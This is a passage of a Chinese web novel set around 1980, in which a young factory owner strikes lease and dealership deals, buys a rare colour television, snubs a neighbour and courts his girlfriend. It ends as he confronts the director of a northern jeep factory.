世界研究的课题早就朝着轻量化方向研究,车身越来越薄。
现在国内厚重的外壳,虽然能增加安全系数,可若想实现民用,必须得把整体耗油量降下来,而外壳减重就是一个重要的环节。
对此,杜国强觉得自己现在所做的汽车注塑件很有必要。
……
吉普车翻越颠簸的土路,来到了城镇上。
厂房旁边是大面积的人造林,这是退耕还林的部分成果。
退耕还林的目的,和农田没什么关系,主要是因为这里曾经一度是军事区,专门为八零厂生产炮弹壳体。
八零厂转型成自行车厂后,这地方就空了下来。
先前朱厂长把这片厂区租给了杜国强,租金极低,不过上次双方并未正式签订合同,所谓的租约更像是个君子协定,由八零厂私下应允。
而现在,杜国强想的是把这事正式摆到台面上,这样能避免自己的工厂日后做大,八零厂那边突然生变、撕毁合作关系——那些重型设备搬迁起来,可是个**烦。
所以他才屡次在朱厂长面前提起,希望八零厂的厂务会上能正式将这事当成议题来讨论。
“小杜同志,你这里还真是弄得有声有色,不比咱们八零厂的正经厂房差啊。”
朱厂长在厂房里看着杜国强,有些诧异。厂区已经规划妥当:注塑机摆放在东南角,原料则存放在西边的库房中。
厂房内部被李连杰收拾得很干净,不见一丝废料。“不简单!我原本以为你开这个注塑厂只是小打小闹,年轻人瞎折腾罢了。现在看来,你是打算把咱们八零厂拍在沙滩上啊?”
“这就是你们生产出来的零件吗?”
朱厂长走到零件堆旁,拿起一个在手中看了看,顿时愣住,这东西怎么感觉有些熟悉?
他把零件在手里把玩着,忽然反应过来,“这……这不是先前我在办公室里拿到的那个样品吗?”朱厂长一脸震惊地扭头望向杜国强,“你……从哪儿来的?”
杜国强笑道:“这就是我们厂生产出的产品。”
“真是你弄出来的玩意?”朱厂长一脸愕然,久久地沉浸在震
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惊之中。
他将零件拿在手中反复对比,最终确定,这就是从外国经销商手里拿到的零件。
随后,朱厂长神色复杂地望着杜国强:“你小子能耐有些逆天了。”
杜国强笑了笑,道:“从技术上来讲,其实我们没有取得什么进步。不过,注塑产品要求的,除了模具的锁模力之外,还有成分、配比等条件。”
“我恰好对这一领域有些熟悉,顺带就做出来了。”
“你这牛逼能吹得再大一点吗?”朱厂长有些无语,“人家西方佬搞了几十年,结果还没你几个月的功夫强。这技术水平,你就顺带做出来了?”
“照你这说法,放你到海军装备处历练几年,岂不是连航空母舰都能给咱们国家整出来?”
杜国强笑了笑,道:“您还真别说,说不定以后有机会,我真的就去造航空母舰呢。”
朱厂长只当这是杜国强的调侃,并没有放在心上,只是一个劲地揣摩着摆的这些零件,颇有些爱不释手的意思。毕竟这东西在国外太畅销了,连八零厂都眼红外汇。
“杜国强,你说,要是你把你这个分部跟咱们八零厂总厂合并了,岂不美哉?既能扩大规模,又能解决生产过程中的人员不足问题。”
杜国强笑了笑道:“您就别想着在这摘现成的桃子了。这工厂已经算是咱们区第一家私营企业了,这招牌,区长都不敢来砸。您要是把我合并了,保证明天上新闻头条。”
“哎,也是。”
朱厂长有些惋惜,他下手太晚了。要是早一段时间知道是这个结果,肯定要强行把杜国强留在八零厂,管他安排什么职位。
安排什么都对八零厂来说都是利好。
可惜了,没有后悔药吃了。人家现在已经成立了民营企业,朱厂长觉得自己再下手已经为时晚矣。
朱厂长想了想,忽然眼前一亮:“杜国强,你看,八零厂给你当经销商可以吗?”
“经销商?”杜国强愣了一下。
第82章 连拿带要
“你这种汽车零件在国外卖得很好,老外们认可,这是好事。可是,说到底,还不是国字号开头的。”
“洋人买东西没啥忌讳,看准就买。可国内不一样,你若不是国企弄出来的产品,人家就算有兴趣买,怕是也得悠着些。”
朱厂长循循善诱道:“可这时候,若是你们多一家国内经销商,事情就不一样了。八零厂资历老,是一贯的军工企业。你们若是将产品授权给我们,我代表八零厂,一定好好将你们的东西推销出去。你看如何?”
杜国强仔细一琢磨,确实是这么回事。
在国内买东西要守些规矩,一般的国有企业说不定还真不敢收他的东西。
算了!说到底,八零厂也算自己半个娘家。
杜国强缓缓开口道:“若是我将这一批型号的产品授权给八零厂,八零厂能保证我们的销量吗?”
朱厂长连忙道:“自然!”
杜国强点了点头:“那等到我们签订厂房租赁合同的时候,也顺便把这经销商的合同给定一下。”
“爽快!”朱厂长打开吉普车门。
“走,我们这就回去,争取今天晚上下班前把这几件事解决了。”
朱厂长直来直去,回到厂里当即就让秘书拟起了合同。很快,杜国强便拿到了厂房的低价租约——10年租期,每月租金仅需50元。
对于几万平方米的使用面积来说,这价格足够便宜,放眼国内恐怕都找不到第二家。
而朱厂长也如愿以偿地拿到了经销商合同。
朱厂长盯着那一纸合同,笑得合不拢嘴。
任谁都能看出杜国强所生产的这些注塑件潜力无穷,八零厂做起经销商,无非是付出些人力物力,却绝对有赚头。
他暗自思忖,这简直是凭空给八零厂找到了一条生财之路——每个零件即便只按5%的经销费来算,那也会是一笔巨款。
随后,朱厂长翻开自己的抽屉,小心翼翼地取出一个铁盒子,递到杜国强眼前:“这东西给你,你拿着。”
杜国强看了看,惊讶道:“呦,大红袍。想不到朱厂长您还有这闲情雅兴呢。”
81年的大红袍,纵然是子系移植,那也是天价产品,一般人喝不到的。”
朱厂长一脸肉疼道:“你还说,占了多大便宜。我平时一口都不舍得喝的。”
朱厂长原本打算发些奖金给杜国强草草了事,可一细想,这小子根本不缺一般的十几二十块。为了能留住杜国强,他特意决定忍痛割爱,就是想让杜国强能记着八零厂的好。
“小杜,我可是花了大价钱了,你可得记得。”
杜国强拍了拍胸膛:“我与八零厂同生共死。”他顿了顿,咳嗽一声又道,“不过,既然朱厂长要送我东西,能不能再添一样?我看您办公室里挂着那幅《大展宏图》的奔马图,挺有意思的。”
“啥?”朱厂长一脸愕然地看着他,“拿走我的茶叶还不够,反倒还想继续要?”
杜国强嘿嘿一笑道:“最近我打算装修家里,正缺一幅画来镇宅。我瞧着,朱厂长您办公室里的这匹马最合适,这可是徐大宏先生题过字的。”
朱厂长一脸肉痛,却还是咬了咬牙,把那幅画递到了杜国强手里。说着说着,他鼻腔里都带了哭音:“小子,好好带它!”
“记住了。”杜国强接过画,打量着说,“徐大宏的题字,难怪这画看上去就有些门道。”
其实他并不懂画,也谈不上喜爱,只是先前给八零厂带来了不少利益,于情于理,也该拿些东西回来。
要不然自己岂不是太亏了?
杜国强左手夹着大红袍,右手卷着《大展宏图》,哼着小曲走出了朱厂长的办公室。
朱厂长见状,无奈地叹了口气。这小子的编制怎么就不在八零厂呢?
安阳厂还真是捡了个大便宜,不知道走了什么狗屎运——明明都在破产边缘了,愣是被杜国强给拉了回来。
他忍不住琢磨,若杜国强完全是八零厂的人,带给八零厂的前途会不会更大?
“刘占福,你个王八蛋,走了什么狗屎运!”朱厂长忍不住骂起了安阳厂的厂长,“不就生了个
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漂亮女儿吗?”
话说回来,自己闺女这些天也要高中毕业参加工作了,年龄跟杜国强正好相仿。朱厂长心里一动:要不然,让自己闺女也来试试?
……
杜国强自然不知道朱厂长心里的盘算。他提着东西回到家,刚放下,两个妹妹就朝他冲了过来:“大哥!”
杜国强赶紧把她们揽进怀里,笑着说:“安安乐乐,你们俩可得减减肥了,再这么吃下去,都要成大肥猪啦。”
“大哥胡说,我们俩才不胖呢!”安安和乐乐撅起了嘴,毕竟是小姑娘,被人说胖顿时有些不乐意。
“说吧,找大哥什么事?”
杜国强笑着问,“你们俩可是无事不登三宝殿,这时候不是该找小花跳皮筋吗?”
安安抢先说:“小花不在了,王大娘今天给家里买了台电视机,小花回去看电视了,不跟我们玩了。”
乐乐也连忙插嘴:“王大娘还做了素鸡呢,请了好些人,就是没请咱家过去。王大娘家居然买电视机了!”
杜国强一愣,这倒是他没料到的。
这年头买电视机绝对是件稀罕事,不是想买就能买的。
首先得有电视机票,这票可不是轻易能得到的,只有那些有贡献、有权威的人才能拿到。像杜国强家以前的情况,根本够不上这个资格。
就算有了票,想买电视机也不容易。
按现在的工资水平,普通**多得省上半年多,甚至一年的钱才能攒够买一台电视机的钱。王大娘家向来生活朴素,家里只有丈夫一个正式工,要承担这么大一笔开销,显然不是件容易的事。
“哥,我们也想吃素鸡。”安安和乐乐摇着杜国强的胳膊撒娇。
母亲朱桂芳从外面的厨房快步走进来,拿起鸡毛掸子就朝两个闺女扬了扬:“去去去!一天到晚啥都想吃,还惦记起素鸡了?素鸡毛掸子吃不吃?”
杜国强笑了笑,劝道:“妈,您别打她们了,小孩嘴馋不是很正常吗?”说着,他把两个妹妹抱到自己肩头,“走,大哥带你们去买素鸡。”
第83章 彩色电视机
“国强,你可别惯着他俩。这些日子,这俩小祖宗吃了多少东西了?嘴都挑了,现在连面条都不好好吃,每天必须得吃块大肉解馋。”
“我的老天爷,你出去听听,这年头谁家能供得起天天吃肉?”
杜国强劝阻道:“您就别气了。小孩爱吃肉是好事,身体能长得结实!我现在工资管够,养咱们一家没问题。她们爱吃,就给她们多吃些。”
“哎,你这孩子,会把他们惯出毛病的。”
“不说了妈,我带着他俩去买素鸡了。”杜国强生怕朱桂芳拉着自己唠叨上半个时辰,赶忙撒腿走出了房门。
刚走到院门口,就看见隔壁王大娘家的院门敞开着,好不热闹。
里面摆了满满一桌人,众人有说有笑的。
电视机散发着白色的冷光,里面放的应该是某个新闻,播音员的声音很有腔调。
院里的众人也发现了杜国强兄妹三人,有人不解地问王大娘:“王婆子,你咋没把朱桂芳那一家老小请过来看看电视呢?”
正在给众人发瓜子的王大娘听了,顿时拉下脸,冷哼一声道:“人家还用我帮衬吗?这日子过得比我家都好,天天吃肉,还看得上我这破电视?”
其实最开始,王大娘对杜家是蛮不错的。
她想着朱桂芳一个寡妇拉扯着几个孩子,日子定然过得艰辛,所以时不时就去杜家帮衬,带些小东西,要么就把两个孩子叫到自己家吃饭。
先前过节时,王大娘拿了几个素包子到杜家,本是想让两个女娃娃尝尝鲜,却没想到朱桂芳硬是从厨房里给她拿出牛肉干作为回礼。
王大娘心里老大不痛快,这不是赤裸裸地打自己的脸吗?
知道你家日子紧,可没钱还穷显摆什么?
自此之后,王大娘便渐渐疏远了杜家。
可她压根不知道,朱桂芳也是好心办了坏事——那些牛肉干是杜国强买回来的,有好几大袋,自家根本吃不完,才想着分给王大娘一点,却被当成了穷显摆。
“接着看你们的电视。”王大娘瞥了一眼杜家兄妹三人,坐下来嗑起了瓜子。
……
杜国强带着两个妹妹来到公交车站旁的副食店,找到售货员问道:“同志,请问这里卖素鸡吗?”
售货员点了点头:“你要多少?差一点的三毛一斤,好一点的五**一斤。”
杜国强思索片刻,道:“帮我来个五斤,要好一点的。”
售货员听后,便去帮杜国强夹素鸡。
两个妹妹在他肩膀上欢呼起来,一人亲了杜国强一口:“大哥最好了!”
杜国强笑了笑,顺便带着两个妹妹在供销社里逛了起来。
很快,他的目光在一台电视机前停了下来。
杜国强吃了一惊,道:“这是哪来的彩电?”
彩电在这年头确实稀奇,绝大多数人家的电视还是普通黑白的。
一直到八十年代中期,甚至九十年代初,彩电才渐渐流行起来。
而面前这台,是一台品相完好的彩电。
售货员扭头望了一眼,道:“从日本进口回来的,二手的,本来想在咱们这卖个高价,结果太贵了,没人敢买。”
“多少钱?”杜国强开口询问。
售货员噗嗤笑了一声:“怎么着?你要买啊?”
杜国强点了点头:“是的,我要买。”
若是一般的黑白电视,杜国强或许还会犹豫着得过且过,可如今看着彩色电视机摆在面前,自己却不买,这不是暴殄天物吗?
售货员显然不相信杜国强有这个实力,撇了撇嘴道:“要一张工业券,还要六百块现金,你能拿出来?”
杜国强当即把两个妹妹放到地上,从内衣兜里掏出钱,哗啦啦数了几张递过去,塞到售货员手里。
“你还真有啊?”售货员一脸愕然。
“工业券的话,我想想办法。”杜国强琢磨片刻,忽然有了主意,“同志,能不能用一下你们的电话?”
售货员连忙点头:“请用,请用。”
杜国强给朱厂长打去电话,对方很爽快地答应让秘书把一张工业券送过来。
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以八零厂的实力,弄一张工业券出来确实不算难事。杜国强再三感谢了前来送券的秘书。
杜国强接过工业券,又跟秘书客气了几句,指着旁边的自行车道:“这车子你先留下吧,改日我再给八零厂送回去。”
秘书应了声“好”,没多推辞便先走了。
杜国强把电视机稳稳抱到自行车后座,小心捆好,推着车子往家走。
两个妹妹像两只快活的小麻雀,围着他左看看右瞧瞧,小脸涨得通红,难掩激动。
“哥,咱们家真的要有电视机了?”安安仰着脖子问。
杜国强笑着点头:“嗯,以后你俩想看多久看多久。”
“太好了,太好了!”乐乐拍着手跳起来,“咱们家的还是彩色的呢,王大娘新买的那台都不是!”
刚才还在王大娘家看电视机的邻居们,一瞧见杜国强推着辆载着东西的自行车往院里走,立刻有人忍不住开口问道:“国强,这车上拉的啥好东西啊?”
杜国强笑了笑道:“电视机。”
“啥?你家也买电视机了?”众邻居一个个都吃了一惊,脸上写满了不可思议。
一下子,众人都没了看电视机的兴致,纷纷朝杜国强围了过来。
朱桂芳在屋里听见动静,出来一瞧,见杜国强竟买了台电视机回来,顿时一脸吃惊,又带着几分心疼,急忙上前问道:“这东西这么贵,你咋把它买回来了?”
杜国强道:“本来是去供销社买素鸡的,结果看到了这台电视机,觉得挺不错,就花钱买了。”
众人顿时有些无语——去买个菜,居然买回台电视机来,这是想把人惊掉下巴吗?
一众人七嘴八舌地搭着手,帮杜国强把电视机装好,又把天线架了起来。很快,屏幕上便显出了画面,色彩斑斓的影像映在众人眼里,让大家彻底呆住了。
“这……这是台彩电!有颜色的!”有人忍不住低呼出声。
众人一个个张着嘴,大口喘着气,显然是头回见到这么稀罕的物件,眼睛都看直了。
第84章 你这是什么意思?
众人像是刘姥姥进大观园一般,围着这台彩电暗自称奇。“我嘞个天,你们瞅这画面,像是看见**一样!”
“是啊,还是人家彩色电视好。”
“杜国强,你这电视是从哪买来的?”
杜国强答道:“就在供销社,不过这是最后一台,你们想买,怕是得等一段时间了。”
“我们哪去买这东西?”邻居连连摇头,“连普通黑白电视的钱我们都凑不齐呢。话说这东西花了你多少钱?”
“600块,外加一张工业券。”
“啥玩意?600块?”众人瞬间傻眼,一个个吞咽起了口水。
这完全是个天文数字,多数家庭一年内不吃不喝都攒不下这个金额。更别提工业券了,先说有没有指标都是两码事。
有人接话道,“就算普通百姓拿到这东西,也得去黑市换粮食,哪舍得给自己家里添办物件。”
众人羡慕地围在杜国强的电视机旁,有人试探着问:“国强,晚上能来你家看电视吗?我们想看看新闻联播加上颜色究竟是什么样的。”
“自然欢迎。”杜国强爽快应道。
周边大多数邻居相处得都还不错。
之前杜国强在厂子里忙活时,就是大家伙儿一个个帮忙,把家具搬进屋的。
此刻,大家不过是想蹭蹭电视,看看新闻联播罢了。
“安安、乐乐,去给大家倒些茶水。”杜国强扭头嘱咐两个妹妹。
早就等着看电视的两个丫头片子,噌地一下钻进厨房,抱出桌椅板凳和暖壶,手脚麻利地给大家倒起水来。
再也没人提回王大娘家看电视,一时间,原本还算热闹的王大娘家门口立刻清冷下来。
王大娘气得将一个水杯狠狠摔在地上,骂道:“一群见利忘义的势利眼!”
不过嘴上这么骂,王大娘心里其实也挺想看看彩电究竟是啥样的。她思索再三,咬了咬牙,还是敲响了杜国强家的大门。
杜国强将门打开,赫然看见王大娘脸上堆着嬉皮笑脸:“小杜啊,你在家呢。哎呦,听说你家新买了电视机,还是彩电?特地想来看看,瞧瞧跟我家那普通电视有啥区别。”
杜国强笑了一下,爽朗道:“不。”
王大娘愣了愣,只当自己耳朵出了问题,怀疑地问:“小杜,你重说一下,我没听清。”
“那您听清楚了,我这电视,不能借您看。”
“你这是什么意思?”王大娘气得脸色发青,“以前你家有事,我哪回不是冲在前面帮忙?现在就想在你家蹭个电视看,你却说不让看!还有没有天理王法了?一家子都这么绝情吗?”
她的声音尖利,成功吸引了几个刚来的邻居,纷纷朝着杜国强和王大娘这边望过来。
王大娘见状,更是提高了嗓门。
杜国强却冷笑一声,望着对方道:“刚搬来这一片的时候,您确实帮过我妈和我妹妹,这点我得谢谢您。”
“可后来呢?您总摆出一副城里人的模样,对着我家里人趾高气昂。上次就因为我妈多给您送了些肉,您便大发脾气,嫌弃我妈和我妹妹。您觉得,这种情况下,我凭什么要让您看我家电视?”
一番话掷地有声,王大娘反倒被说得哑口无言,脸上青一阵白一阵,只能灰溜溜地走了。周围的邻居听了,也都觉得杜国强说得在理,没人再替王大娘说话。
而亲妈朱桂芳这边,已经开始忙碌起来。自打搬家后,家里还是头一回来这么多人,朱桂芳心里也挺激动,打开自家的点心盒,从里面取出几块有些发潮的绿豆糕,笑着递给众人:“吃,快尝尝。”
大家伙儿热热闹闹地守着彩电,津津有味地看完了新闻联播。
之后,大家也知道杜国强一家需要些私人时间,没再多打扰,陆续离开了,只剩下两个还没看够的小孩。
又看了半天,连那两个小孩也被家里人叫走了,屋里终于再无旁人。
这会电视里正演着知名电视剧《敌营十八年》,安安和乐乐趴在椅子上,聚精会神地看着。
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一旁的朱桂芳忽然念头一动,转头询问杜国强:“你说,要不把我儿媳妇带过来一块看看?我记得她家里也没有电视。”
杜国强摸了摸下巴,心想也是,最近确实没什么时间陪刘静怡,便应道:“行啊。”
朱桂芳到小卖部打了个电话。电话那头的刘静怡本就有些想念杜国强,一听这话,当即一口答应下来。
没过多久,刘静怡便出现在了杜国强家门口。
朱桂芳赶忙迎上去,脸上堆着热情的笑容,乐呵呵地跟她打起了招呼:“静怡来啦,快进来快进来!”
“阿姨。”刘静怡有些羞涩地将刚准备的礼品递了进来。
朱桂芳连忙接过,嗔怪道:“哎,你来还带啥礼品?以后常来阿姨这儿聊天,直接来就行,不用准备这些。阿姨还等着抱大胖小子呢。”
刘静怡脸颊一红,尴尬地小声说:“阿姨,我们还没结婚呢。”
“早晚的事,早晚的事。”朱桂芳笑呵呵地扇着蒲扇,话音刚落,外面突然传来一声喊:“朱桂芳,你在家吗?”
朱桂芳愣了一下,连忙应道:“在家呢,在家呢!”
“厂区今天晚上大扫除,明天有领导来检查,想请你来加个晚班,你看怎么样?”外面的人说明来意。
朱桂芳朝外面喊:“这就来!”随后她扭头,满脸歉意地看向杜国强和刘静怡,“那我先忙活去了,你们在家想吃啥自己弄,好好看电视啊。”
一时间,家里就剩下了杜国强、刘静怡,以及两个妹妹安安和乐乐。
两个小姑娘向来黏人,尤其喜欢这位未来嫂子,很快就跟刘静怡腻在了一块儿。
安安仰着小脸,好奇地问:“刘静怡姐姐,你跟我哥是在处对象吗?”
刘静怡脸上泛起红晕,轻轻点了点头,柔声反问:“你问这个干啥呀?”
安安眨了眨眼,一本正经地说:“我看人家电视里,处对象的都要睡一个被窝呢,可我咋从来没见你跟我哥睡在一块儿?”
第85章 你就是算计好的
“我跟你哥还没结婚哩。”刘静怡脸蛋有些发红,没想到竟被个小孩子说得害了羞。
“那嫂子,你是想跟我哥睡一个被窝吗?”安安追着问道。
刘静怡没好气地给了安安一个脑瓜崩:“小孩子家家的,知道这么细干什么?好好看你的电视。”
安安撅着嘴,揉了揉自己的脑壳,倒也不生气。很快,两姊妹又趴在桌上,聚精会神地看起了电视。
杜国强不经意间和刘静怡坐到了同一个沙发上,两人之间的距离渐渐拉近。刘静怡有些紧张,用余光瞟着他,身子一个劲儿地往旁边缩。
“刘静怡同志,我是啥**的猛兽?还是《聊斋》里的狐狸精啊?”杜国强故意板起脸,“你再这样躲下去,可就是对咱们纯洁的**友谊不尊重了。我是那种随便占人便宜的人吗?”
听着他一本正经的话,刘静怡慌忙摇头,脸颊更红了:“我不是这个意思,我相信你。”
“那你可是相信错了。”杜国强一把将刘静怡搂进怀里,嬉笑道,“我就是这样的人,就爱占你便宜。”
“你……流氓!”刘静怡羞得头都快埋进胸口,双手抵在他胸前,想把人推开,力气却软绵绵的,哪里推得动。
既然挣不开,刘静怡也只好红着脸不再折腾,索性轻轻趴在了杜国强怀里。
两个妹妹看了会儿电视,眼皮便开始打架,没多久就困得不行。
刘静怡小心翼翼地将她们抱回房间,给两人换好衣服盖好被子,回来又挨着杜国强坐下,一起看起了电视。
她望着屏幕,忽然好奇地问:“这电视台的节目,是24小时一直都有播放吗?”
杜国强摇了摇头道:“一般到了固定时间点,电视机就不播节目了。中央台是晚上11点半,其他地方台则是晚上9点。”
“那我们看到几点?”刘静怡轻声问道。
杜国强听到这话,把她搂得更紧了,像是怕她下一秒就跳起来跑回自家似的,下巴抵着她的发顶说:“我们看到没节目为止。”
“那岂不是要很晚了?”刘静怡有些担忧地说。
这年头,绝大多数人都习惯赶在太阳落山前回家,夜里很少在外逗留,更别说在别人家待到深夜了。
杜国强舔了舔嘴唇,声音带着几分不易察觉的期待:“今天晚上我妈估摸着是不会回来了。厂区那么大,大扫除要费不少功夫。要不,你就留宿在这儿?”
“不行啊。”刘静怡急忙摇头,语气带着几分坚定,又藏着点不好意思,“太晚了,不方便的。”
杜国强看她态度坚决,也没再勉强,点了点头:“好。”
等到电视里今天的电视剧演完,刘静怡站起身,对杜国强说道:“你送我回去吧,现在天有点晚了,我怕路上出什么意外。”
杜国强坏笑着道:“不送。”
说着,他转身从卧室抱来铺盖和被子,往沙发上一放:“就待在我家吧,我是正人君子。”
刘静怡无奈地朝杜国强翻了个白眼,只能无奈接受现状。
“君子协议……你、你不能跟我睡一块,要不然我、我就不在你家住了。”刘静怡结结巴巴地望着杜国强,脸颊涨得通红。
杜国强举起手保证:“一会我就回屋睡觉。咱俩毕竟还没结婚,放心,我也是思想保守的人。”
见他说得诚恳,刘静怡这才松了口气,点了点头。
起初,杜国强确实像他保证的那样,电视一结束就回了自己房间。
可没过两分钟,他便蹑手蹑脚地溜到沙发边,趁刘静怡没防备,猛地掀开被子钻了进去,双臂死死将她钳在怀里。
“你干嘛?”刘静怡吓了一跳,愕然地抬头看他。
“今天咱们省台有胜利大会顺利召开的影像重播,所以还能再看一会儿电视。”杜国强贴着她的耳朵,声音带着笑意,手臂却收得更紧了。
“你就是算计好的!”刘静怡撅着嘴,声音里带着点嗔怪,却没再用力挣扎,只是微微偏着头,忍受着杜国强在她身上不老实游走的手,脸颊泛起一层薄红。
不
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过杜国强也只是在手上多占些便宜罢了。
真要做出什么越界的举动,他心里是不赞同的。毕竟刘静怡还是黄花大闺女,若是真做了那种事,难免会让人觉得他轻薄了人家。
杜国强可不想因为自己一时冲动,坏了她的名声,更不希望因此影响到两人之间的情分。
两人这样闹了小半宿,直到凌晨两三点钟,才终于抵不住困意沉沉睡去。
第二天一早,刺眼的阳光透过窗户照进来,正好落在刘静怡脸上,把她从睡梦中晃醒。
刘静怡猛地一惊,瞬间清醒过来,看着身边熟睡的杜国强,顿时慌了神,连忙伸手推他:“快起来!快起来呀!”声音里带着几分急惶。
杜国强揉了揉惺忪的睡眼,迷迷糊糊地问:“怎么了?”
“我上班要迟到了!”刘静怡急得直跺脚。
“哎,我当是什么大事呢。”杜国强打了个哈欠,满不在乎地说,“放心吧,你是厂长的闺女,没人会难为你的。况且就迟到这一回而已,我去工厂就没几次是准时的。”
厨房里传来朱桂芳的声音:“就是,闺女,别担心,迟到一会儿能咋着?阿姨给你俩做了早餐。”
刘静怡闻言,慌忙从被窝里蹦起来,脸颊羞得通红,结结巴巴地问:“阿姨,您、您啥时候回来的?”
“今天早上刚到的。”朱桂芳笑眯眯地从厨房走出来,围裙上还沾着点面粉,眼神在两人身上打了个转,越看越满意——照这情形,自己怕是很快就能抱上大外孙子了吧?
……
吃过早餐,刘静怡便匆忙赶回了安阳厂,杜国强则彻底闲了下来。他的注塑厂还没开工,安阳厂眼下也没什么要紧事,便打算暂时不去上班。
“对了,儿子。”正在择葱的朱桂芳抬起头看向他,“朱厂长让你今天去找他一趟。”
杜国强愣了一下,问道:“怎么了?”
“他说要给你介绍些生意合作伙伴。”朱桂芳一边说着,一边把择好的葱放进竹篮里。
……
第86章 太华厂现任厂长
“生意伙伴?”
杜国强愣了一下,道,“有说是谁吗?”
“就明天要接见的领导。”
朱桂芳将葱花放进油锅内,边炒边絮叨:“说是个什么北方汽车厂的厂长,来头不小呢,所以才让我们去打扫卫生。”
“话说儿子,朱厂长为什么要把你介绍给人家?你跟汽车咋扯上关系了?”
这老妈子……都跟她讲了几遍了,到现在还没明白自己儿子做的是啥东西。
杜国强叹了口气,调皮道:“兴许是个女老板,看你儿子长得帅,想把我介绍给她。”
朱桂芳白了他一眼道:“猪鼻子插大葱,你就装吧你!”
虽说吃过早饭,但在朱桂芳的百般要求下,杜国强还是就着新鲜出炉的葱油,拌了碗葱油面。
这才收拾了一番,往八一厂去。
他特地翻出了平日里不怎么穿的中山装——毕竟是去见领导,穿得邋遢了,难免会让人觉得不尊重。
“噔噔噔——”他敲响了朱厂长办公室的房门。
“请进。”
杜国强走进去,朱厂长上下打量了他一番,点了点头道:“不错,收拾得挺板正,真是倒像是人中龙凤。”
杜国强笑道:“朱厂长说笑了,我本来就是人中龙凤了。”
朱厂长一阵无语,转而问道:“我那大红袍喝着怎么样?”
他极为肉疼地指了指自己的茶缸,“上次都给你了,我自己一点没留,你是不是得表示表示,还回来点?”
杜国强点了点头道:“领导教训的是。放心,一会儿我就去供销社给您买两块茶砖,保证您能喝到明年。”
朱厂长仰天长叹一口气。
心知自己那大红袍多半是驾鹤西去,回不来了。
“听说今天来厂里的是北方太华厂的厂长,”杜国强问道,“您是因为这,才叫我过来的?”
朱厂长点了点头,拿起自己的搪瓷茶缸道:“是的。太华厂可不是小单位,国家成立时就设立的汽车厂,咱们全国五分之一的吉普车都是人家设计的。论起履历,比八一厂的军工味还要正一点。”
朱厂长站起身,走到杜国强身边,抿了一口水道:“太华厂也想做汽车注塑件的经销商,只是一直没找到门路你那注塑件到底是哪生产的。”
杜国强笑道:“照这么看,我还真是块香饽饽。那您当初给的价格是不低了,要不再补补?”
朱厂长瞪了他一眼:“先把我的大红袍还回来再说!”
杜国强也只是说笑。八一厂对他不薄,低价租给他厂房,还给他母亲安排了在编工作。只要没有重大变化,他是不会忘恩负义的,一个经销商的名头而已。
……
两人在办公室又东拉西扯了一会儿,外面走廊上终于有了动静。
朱厂长赶忙起身迎接。
很快,一个头发梳得油亮、身材有些消瘦的中年男子走进了办公室。
朱厂长脸上立刻堆起笑容,主动上前跟对方握手:“刘厂长,久仰大名,太华厂现任厂长,咱们国家汽车行业的一只钢铁巨手啊!”
刘明红笑了笑。虽然知道朱厂长说的是场面话,不过官场上嘛,都是先戴高帽,总比见面就损人强。
“朱厂长,您才是国之栋梁,”他客气道,“八一厂早年做高射炮防御国门,现在又响应国家号令转型做自行车,您的声名,我即便在太华也时常能听到。”
杜国强无语地瞅着两人——估计这辈子是头回见面,不知道的,还以为是多年未见的老友呢。
“朱厂长,那用注塑机做汽车零件的高人,真的在你们八一厂?”
刘明红两眼发光道,“我可是快把整个大陆翻遍了,就差到青藏高原走一遭,一点音讯都没。若不是外国佬都能买到,我还真要以为这是国家搞的什么绝密实验呢!”
太华厂本来以为找个厂家而已,算不上麻烦事,于是接了外国友人一万块美金的咨询单。
结果没曾想,这都半个
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月过去了,一点音讯都没有。这要是让外国友人把事情捅大,闹成国际事件,那太华厂可就太冤了。
于是他们发动了上下三十多号人,一起在外寻找这注塑产品,总算在昨天联系上了朱厂长,得知生产这注塑零件的厂家就在八一厂里头。
“这批注塑零件的技术含量很高。”刘明红扶了扶眼镜,郑重道,“不妨让我见见负责人,我想当面跟他谈清楚。这事情如果谈成,绝对是笔大生意。”
朱厂长咳嗽了一声道:“刘厂长,做这零件的人其实就在您眼前。”说着,他伸手指了指杜国强。
“他?”刘明红愣了一下,脸上满是难以置信。刚进来的时候,他还以为这小伙子是朱厂长招来的学徒工呢。“这么年轻……朱厂长,您不是在说笑吧?”
“根据我们厂专家以及国外同行的评测,造出这批零件的人,少说也在这行里经营了三四十年。”
“现在您跟我说,是这个顶多二十出头的小伙子弄出来的?朱厂长,我希望您拿出切实的证据说服我。”
朱厂长苦涩地笑了笑:“说实在的,刘厂长,这事我比您还纳闷呢。这小子简直就是个全才,不止这一回了,汽车零件、自行车,还有机械设计,样样精通。注塑零件确实是由杜国强同志生产制造的,这点我可以拿我的声誉保证。”
刘明红坚决地摇了摇头,“我们做事要从实际出发,这件事显然不合理。我不相信一个人能在这么多领域里都有所建树。”
“刘厂长,”杜国强突然开口道。
刘明红愣了一下,问道:“怎么了?”
“贵厂现在吉普车的销量如何?还能坐稳咱们国内吉普车制造的头号交椅吗?”
“这是自然。”刘明红沉声道,“我们的吉普车不知道拿了多少大奖,相信接下来几十年,太华吉普车依旧是国内汽车行业的龙头。”
“呵呵。”
空气中传来一声轻笑,“我不相信。”
第87章 一语破障!
“朱厂长,这就是你们八零厂的待客之道?”
刘明红脸色发青,身子气到哆嗦。
作为太华厂的最高领导,他在厂里可谓呼风唤雨。
像杜国强这般年纪的年轻人,见了他,都得毕恭毕敬地叫声厂长好。
即便是厂外的人,也会因为他的权势多有忌惮。
可如今,他竟被杜国强当面质疑了。
刘明红死死地盯着杜国强,厉声道:“我不管你究竟能不能研制高精尖的注塑零件,还是个江湖骗子,但我们太华厂的功绩,绝容不得你一个毛头小子质疑!”
“全国哪个单位的人没见过我们太华厂的吉普车?你还呵呵?你朝谁呵呵?”
刘明红猛地扭头望向朱厂长,“朱厂长,我看你这庙太大,我这小僧实在待不起。算了,这合作不谈了!”
朱厂长赶忙将他拦下,尴尬地摸了摸鼻子:“刘厂长,年轻人嘛,有些年轻气盛也在所难免。您是老领导了,得多谅解。”
说着,他转向杜国强,厉声道:“还不快给刘厂长赔礼道歉?别在这个节骨眼上犯浑!”
看着朱厂长挤眉弄眼的样子,杜国强却没如他期望的那般低头认错。
他神色平淡地望向刘明红:“刘厂长,我且问您一件事——国家成立已有三十年光景,你们太华厂既是全国第一批车企,这些年来推出了哪些新车型?”
刘明红冷哼一声,如数家珍道:“红星一号、红星二号、红星三号,这都是我们太华厂畅销的车辆,红星这名号,在全国也是响当当的!”
杜国强点了点头,忽然语气一沉,突兀地开口:“只是这名字换了,汽车的车身变了吗?发动机变了吗?电器设备变了吗?”
